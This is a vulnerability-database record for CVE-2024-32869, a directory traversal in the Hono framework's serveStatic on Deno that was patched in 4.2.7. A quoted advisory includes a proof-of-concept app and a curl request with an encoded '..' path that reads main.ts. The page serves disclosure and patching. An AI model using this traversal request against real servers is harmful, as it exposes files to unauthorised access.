CVE-2024-32869
mediumpriority · track · 0EPSS 0.006 · 51 %ileEUUSEPSS · scored 2026-10-27
Hono is a Web application framework that provides support for any JavaScript runtime. Prior to version 4.2.7, when using serveStatic with deno, it is possible to traverse the directory where `main.ts` is located. This can result in retrieval of unexpected files. Version 4.2.7 contains a patch for the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-3mpf-rcc7-5347Hono vulnerable to Restricted Directory Traversal in serveStatic with deno2024-04-23ghsa · osvUS
### Summary When using serveStatic with deno, it is possible to directory traverse where main.ts is located. My environment is configured as per this tutorial https://hono.dev/getting-started/deno ### PoC ```bash $ tree . ├── deno.json ├── deno.lock ├── main.ts ├── README.md └── static └── a.txt ``` source ```jsx import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts' import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts' const app = new Hono() app.use('/static/*', serveStatic({ root: './' })) Deno.serve(app.fetch) ``` request ```bash curl localhost:8000/static/%2e%2e/main.ts ``` response is content of main.ts ### Impact Unexpected files are retrieved.
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (7)
External citations — patches, advisories, analysis.
- https://cxsecurity.com/cveshow/CVE-2024-32869/cnnvd
- https://github.com/honojs/hono/commit/92e65fbb6e5e7372650e7690dbd84938432d9e65cnnvd
- https://github.com/honojs/hono/security/advisories/GHSA-3mpf-rcc7-5347cnnvd
- https://github.com/honojs/hono/commit/92e65fbb6e5e7372650e7690dbd84938432d9e65enisa_euvd
- https://github.com/honojs/hono/security/advisories/GHSA-3mpf-rcc7-5347enisa_euvd
- https://github.com/honojs/hono/commit/92e65fbb6e5e7372650e7690dbd84938432d9e65Patchnvd
- https://github.com/honojs/hono/security/advisories/GHSA-3mpf-rcc7-5347ExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan